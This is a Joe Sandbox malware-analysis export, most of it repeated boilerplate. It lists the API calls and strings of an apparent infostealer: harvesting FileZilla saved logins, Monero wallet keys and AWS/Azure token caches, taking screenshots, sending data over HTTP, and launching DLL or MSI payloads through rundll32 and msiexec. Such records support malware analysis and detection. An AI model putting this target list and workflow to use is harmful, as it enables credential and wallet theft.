Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 7bc6dd7eed89821551012c83a93fc9a6c9e09e3cd0b7a46b2db4dc60a48b8555
Instruction ID: a872fd5da1d9960cef34af9b4b9a39342563533aa81f7a8a09ff70c69d912eb2
Opcode Fuzzy Hash: 7bc6dd7eed89821551012c83a93fc9a6c9e09e3cd0b7a46b2db4dc60a48b8555
Instruction Fuzzy Hash: 74D15275900208ABDB04EBF1DD96EEE7738FF94301F444619F502A70A1EF34AA0ACB65

Function 00945960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 009447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00944839
Part of subcall function 009447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00944849

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 009459F8
StrCmpCA.SHLWAPI(?,015EE590), ref: 00945A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00945B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,015EE550,00000000,?,015E9BA8,00000000,?,00961A1C), ref: 00945E71
lstrlen.KERNEL32(00000000), ref: 00945E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00945E93
RtlAllocateHeap.NTDLL(00000000), ref: 00945E9A
lstrlen.KERNEL32(00000000), ref: 00945EAF
lstrlen.KERNEL32(00000000), ref: 00945ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00945EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00945F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00945F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00945F4C
InternetCloseHandle.WININET(00000000), ref: 00945FB0
InternetCloseHandle.WININET(00000000), ref: 00945FBD
HttpOpenRequestA.WININET(00000000,015EE450,?,015ED9E8,00000000,00000000,00400100,00000000), ref: 00945BF8

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

InternetCloseHandle.WININET(00000000), ref: 00945FC7

Strings

------, xrefs: 00945C0B
------, xrefs: 00945A96
", xrefs: 00945E16
------, xrefs: 00945D4C
", xrefs: 00945CD5

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 4cd3a61b367c5da1bb807568873744d634c9549562241dcec5ee6ea87b1e04c9
Instruction ID: 048bcac0df5493388fe9485db5b00f345c990d8dba033894d924bfe3d27100e7
Opcode Fuzzy Hash: 4cd3a61b367c5da1bb807568873744d634c9549562241dcec5ee6ea87b1e04c9
Instruction Fuzzy Hash: 2B12FF71820128ABDB15EBA1DC95FEEB378BF94701F504299B506630A1EF702E4DCF69

Function 0094CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 00958B60: GetSystemTime.KERNEL32(00960E1A,015E9D28,009605AE,?,?,009413F9,?,0000001A,00960E1A,00000000,?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 00958B86

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0094CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0094D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0094D0CE
lstrcat.KERNEL32(?,00000000), ref: 0094D208
lstrcat.KERNEL32(?,00961478), ref: 0094D217
lstrcat.KERNEL32(?,00000000), ref: 0094D22A
lstrcat.KERNEL32(?,0096147C), ref: 0094D239
lstrcat.KERNEL32(?,00000000), ref: 0094D24C
lstrcat.KERNEL32(?,00961480), ref: 0094D25B
lstrcat.KERNEL32(?,00000000), ref: 0094D26E
lstrcat.KERNEL32(?,00961484), ref: 0094D27D
lstrcat.KERNEL32(?,00000000), ref: 0094D290
lstrcat.KERNEL32(?,00961488), ref: 0094D29F
lstrcat.KERNEL32(?,00000000), ref: 0094D2B2
lstrcat.KERNEL32(?,0096148C), ref: 0094D2C1
lstrcat.KERNEL32(?,00000000), ref: 0094D2D4
lstrcat.KERNEL32(?,00961490), ref: 0094D2E3

Part of subcall function 0095A820: lstrlen.KERNEL32(00944F05,?,?,00944F05,00960DDE), ref: 0095A82B
Part of subcall function 0095A820: lstrcpy.KERNEL32(00960DDE,00000000), ref: 0095A885

lstrlen.KERNEL32(?), ref: 0094D32A
lstrlen.KERNEL32(?), ref: 0094D339

Part of subcall function 0095AA70: StrCmpCA.SHLWAPI(015E8990,0094A7A7,?,0094A7A7,015E8990), ref: 0095AA8F

DeleteFileA.KERNEL32(00000000), ref: 0094D3B4

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 7d0854b645b764525982c39934be3bb0a36f85e6f9df4779f1d050416b919eba
Instruction ID: 31a740c02c310905b4dfcdad220967b0947175959273ea8cc0882a06294be52f
Opcode Fuzzy Hash: 7d0854b645b764525982c39934be3bb0a36f85e6f9df4779f1d050416b919eba
Instruction Fuzzy Hash: 19E123719101089BDB04EBA1DD96FEE7378BF94302F504259F507B70A1EE35AE09CB6A

Function 0094C990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,015ECF48,00000000,?,0096144C,00000000,?,?), ref: 0094CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0094CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0094CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0094CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0094CAD9
StrStrA.SHLWAPI(?,015ECF60,00960B52), ref: 0094CAF7
StrStrA.SHLWAPI(00000000,015ECF00), ref: 0094CB1E
StrStrA.SHLWAPI(?,015ED2B8,00000000,?,00961458,00000000,?,00000000,00000000,?,015E88B0,00000000,?,00961454,00000000,?), ref: 0094CCA2
StrStrA.SHLWAPI(00000000,015ED0D8), ref: 0094CCB9

Part of subcall function 0094C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0094C871
Part of subcall function 0094C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0094C87C

StrStrA.SHLWAPI(?,015ED0D8,00000000,?,0096145C,00000000,?,00000000,015E88D0), ref: 0094CD5A
StrStrA.SHLWAPI(00000000,015E8AF0), ref: 0094CD71

Part of subcall function 0094C820: lstrcat.KERNEL32(?,00960B46), ref: 0094C943
Part of subcall function 0094C820: lstrcat.KERNEL32(?,00960B47), ref: 0094C957
Part of subcall function 0094C820: lstrcat.KERNEL32(?,00960B4E), ref: 0094C978

lstrlen.KERNEL32(00000000), ref: 0094CE44
CloseHandle.KERNEL32(00000000), ref: 0094CE9C

Strings

, xrefs: 0094C9C6

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 02d865cdf53dbc48a43fc60ab08636cb0aaabb5dc923d5402d9b62366c38da25
Instruction ID: 59fa4e30eb71d1cd166ad450cc7420515646e631204b263be09aee6f1847628e
Opcode Fuzzy Hash: 02d865cdf53dbc48a43fc60ab08636cb0aaabb5dc923d5402d9b62366c38da25
Instruction Fuzzy Hash: 52E1F071D00108ABDB14EBA5DC95FEEB778BF94301F404259F606671A1EF306A4ECB6A

Function 00958320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

RegOpenKeyExA.ADVAPI32(00000000,015EABA0,00000000,00020019,00000000,009605B6), ref: 009583A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00958426
wsprintfA.USER32 ref: 00958459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0095847B
RegCloseKey.ADVAPI32(00000000), ref: 0095848C
RegCloseKey.ADVAPI32(00000000), ref: 00958499

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Strings

- , xrefs: 009585A3
?, xrefs: 0095837A
%s\%s, xrefs: 0095844D

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: c9babe69753b6e27c41428ba3435d60c6f2f3b1fa019d8badc9e2fbf8e826ee5
Instruction ID: 2744fe124e270d37e063657b2e615c5a7f725c225c9edf58588da1656cf51d2b
Opcode Fuzzy Hash: c9babe69753b6e27c41428ba3435d60c6f2f3b1fa019d8badc9e2fbf8e826ee5
Instruction Fuzzy Hash: 31813D71911118ABEB24DB51CC91FEAB7B8FF48701F008299E609A7190DF746F89CFA5

Function 00954D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00958DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00958E0B

lstrcat.KERNEL32(?,00000000), ref: 00954DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00954DCD

Part of subcall function 00954910: wsprintfA.USER32 ref: 0095492C
Part of subcall function 00954910: FindFirstFileA.KERNEL32(?,?), ref: 00954943

lstrcat.KERNEL32(?,00000000), ref: 00954E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00954E59

Part of subcall function 00954910: StrCmpCA.SHLWAPI(?,00960FDC), ref: 00954971
Part of subcall function 00954910: StrCmpCA.SHLWAPI(?,00960FE0), ref: 00954987
Part of subcall function 00954910: FindNextFileA.KERNEL32(000000FF,?), ref: 00954B7D
Part of subcall function 00954910: FindClose.KERNEL32(000000FF), ref: 00954B92

lstrcat.KERNEL32(?,00000000), ref: 00954EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00954EE5

Part of subcall function 00954910: wsprintfA.USER32 ref: 009549B0
Part of subcall function 00954910: StrCmpCA.SHLWAPI(?,009608D2), ref: 009549C5
Part of subcall function 00954910: wsprintfA.USER32 ref: 009549E2
Part of subcall function 00954910: PathMatchSpecA.SHLWAPI(?,?), ref: 00954A1E
Part of subcall function 00954910: lstrcat.KERNEL32(?,015EE4B0), ref: 00954A4A
Part of subcall function 00954910: lstrcat.KERNEL32(?,00960FF8), ref: 00954A5C
Part of subcall function 00954910: lstrcat.KERNEL32(?,?), ref: 00954A70
Part of subcall function 00954910: lstrcat.KERNEL32(?,00960FFC), ref: 00954A82
Part of subcall function 00954910: lstrcat.KERNEL32(?,?), ref: 00954A96
Part of subcall function 00954910: CopyFileA.KERNEL32(?,?,00000001), ref: 00954AAC
Part of subcall function 00954910: DeleteFileA.KERNEL32(?), ref: 00954B31

Strings

\.azure\, xrefs: 00954DC1
*.*, xrefs: 00954DD8
*.*, xrefs: 00954E64
\.aws\, xrefs: 00954E4D
msal.cache, xrefs: 00954EF0
Azure\.aws, xrefs: 00954E5F
Azure\.azure, xrefs: 00954DD3
\.IdentityService\, xrefs: 00954ED9
Azure\.IdentityService, xrefs: 00954EEB

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: a5ced6f22c20606167ce38b68b723eb1931b4398672c67c333a7af52a2a3f244
Instruction ID: 56a7ace6c5d9fb6395015d13a7ea6097949cb050b5d3f90f6f1affec8fb684f6
Opcode Fuzzy Hash: a5ced6f22c20606167ce38b68b723eb1931b4398672c67c333a7af52a2a3f244
Instruction Fuzzy Hash: 6641717A94020467DB54F770DC87FEE7238ABA4705F404594B689660C1EEB46BCDCBA2

Function 00959010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0095906C

Strings

image/jpeg, xrefs: 00959136

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 925bfaad52790ed06ab47ecd703d2e859bf255a33d06864cd5714c9e172c287b
Instruction ID: 7d5833ce48af16c0ebceef6f6fb081fee22556f1b49988e5e931dda299365ff9
Opcode Fuzzy Hash: 925bfaad52790ed06ab47ecd703d2e859bf255a33d06864cd5714c9e172c287b
Instruction Fuzzy Hash: 8971CD75910208EBEB04DFE5DC89FEEB7B8BB88701F108509F615AB294DB34A945CB61

Function 00952E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

ShellExecuteEx.SHELL32(0000003C), ref: 009531C5
ShellExecuteEx.SHELL32(0000003C), ref: 0095335D
ShellExecuteEx.SHELL32(0000003C), ref: 009534EA

Strings

/passive, xrefs: 0095345B
.dll, xrefs: 009531E5
/i ", xrefs: 009533E4
C:\Windows\system32\rundll32.exe, xrefs: 00953332
.msi, xrefs: 00953398
C:\Windows\system32\msiexec.exe, xrefs: 009534BF
<, xrefs: 00953490
"" , xrefs: 0095309A

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 0c54e3f62f282bf3fae33eab937bda908aa22bddd216be69ef2463f2d4e0b0ae
Instruction ID: 8d8e5db2a5fa79e1ca63ae3b287d52dfc3f345774e83ea26b44797736a773deb
Opcode Fuzzy Hash: 0c54e3f62f282bf3fae33eab937bda908aa22bddd216be69ef2463f2d4e0b0ae
Instruction Fuzzy Hash: EB120F718001189ADB19EBA1DC92FDEB778AF94301F504259F90676191EF342B4ECFAA

Function 009552C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0095A7E6

Part of subcall function 00946280: InternetOpenA.WININET(00960DFE,00000001,00000000,00000000,00000000), ref: 009462E1
Part of subcall function 00946280: StrCmpCA.SHLWAPI(?,015EE590), ref: 00946303
Part of subcall function 00946280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00946335
Part of subcall function 00946280: HttpOpenRequestA.WININET(00000000,GET,?,015ED9E8,00000000,00000000,00400100,00000000), ref: 00946385
Part of subcall function 00946280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009463BF
Part of subcall function 00946280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009463D1

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

